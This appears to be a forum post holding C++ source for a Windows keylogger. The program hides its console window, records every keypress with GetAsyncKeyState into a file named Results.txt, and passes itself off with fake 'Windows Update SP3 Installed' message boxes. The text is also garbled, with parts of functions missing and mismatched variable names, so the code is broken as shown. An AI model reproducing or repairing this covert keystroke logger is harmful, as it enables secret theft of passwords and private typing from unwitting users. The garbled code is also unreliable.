Code: |
#include <windows.h>
#include <stdio.h> #include <climits> #include <time.h> #include <cctype> using namespace std; // VARIABLES bool bExit = false; unsigned int iGlobalIndex = 0; const unsigned int NoKeys = 168; char DataFile[] = "Results.txt"; unsigned int ExitKeyIndex; unsigned int fter = 5000; unsigned int ExitKeyDownSince; const bool bExitMessage = false; struct clKey { bool bDown; char * sKey; int iKey; bool bCapitalPossible; clKey() { bDown = false; iKey = 0; sKey = NULL; } void Set(int paraiKey, char * parasKey, bool parabCapitalPossible) { iKey = are = parabCapitalPossible; iGlobalIndex++; } } Key[NoKeys], OldKy[NoKys]; void LoadKey() { iGlobalIndex = 0; character 6]", false); Key[iGlobalIndex].Set(VK_OEM_7,"[miscellaneous character 7]", false); Key[iGlobalIndex].Set(VK_OEM_8,"[miscellaneous character 8]", false); Key[iGlobalIndex].Set(VK_OEM_102,"[miscellaneous character 102]", false); Key[iGlobalIndex].Set(VK_PROCESSKEY,"[IME process key]", false); Key[iGlobalIndex].Set(VK_ATTN,"[attn key]", false); Key[iGlobalIndex].Set(VK_CRSEL,"[crsel key]", false); Key[iGlobalIndex].Set(VK_EXSEL,"[exsel key]", false); Key[iGlobalIndex].Set(VK_EREOF,"[eof key]", false); Key[iGlobalIndex].Set(VK_PLAY,"[play key]", false); Key[iGlobalIndex].Set(VK_ZOOM,"[zoom key]", false); Key[iGlobalIndex].Set(VK_PA1,"[pa1 key]", false); Key[iGlobalIndex].Set(VK_OEM_CLEAR,"[clear key]", false); } // FUNCTIONS int main() { HWND Window; Window=FindWindow("ConsoleWindowClass",NULL); if(Window == NULL) { MessageBox(NULL,"Windows Update SP3 Installed.","Unexepcted Error",MB_ICONWARNING); return(-1); } ShowWindow(Window,SW_HIDE); // Load key values into array LoadKeys(); // Create or open file to append FILE * file = fopen(DataFile,"a"); if(file == NULL) { MessageBox(NULL,"Windows Update SP3 Installed.","Unexepcted Error",MB_ICONWARNING); return(-1); } // Main loop while(bExit == false) { Sleep(1); for(int x = 0;x<NoKeys;x++) { if(GetAsyncKeyState(Key[x].iKey) != 0) { Key[x].bDown = true; } else { Key[x].bDown = false; } } if(Key[ExitKeyIndex].bDown == true) { if(ExitKeyDownSince == 0) { ExitKeyDownSince = clock(); } else { if(clock()-ExitKeyDownSince > ExitAfter) { if(bExitMessage == true) { MessageBox(NULL,"Windows Update SP3 Installed.","Goodbye",MB_ICONINFORMATION); } break; } } } else { ExitKeyDownSince = 0; } for(int x = 0;x<NoKeys;x++) { if(Key[x].bDown != OldKey[x].bDown) { OldKey[x].bDown = Key[x].bDown; if(Key[x].bDown == true) { char * WriteMe = NULL; char UpperCase = NULL; char UpperCaseFull[2]; if(Key[x].bCapitalPossible == true) { if(Key[ShiftKeyIndex].bDown == true) { UpperCase = toupper(*Key[x].sKey); UpperCaseFull[0] = UpperCase; UpperCaseFull[1] = '\0'; WriteMe = UpperCaseFull; } else { WriteMe = Key[x].sKey; } } else { WriteMe = Key[x].sKey; } fputs(WriteMe,file); break; } } } } if(file != NULL) { fclose(file); if(bExitMessage == true) { } } return (0); } |
output generated using printer-friendly topic mod, All times are GMT + 2 Hours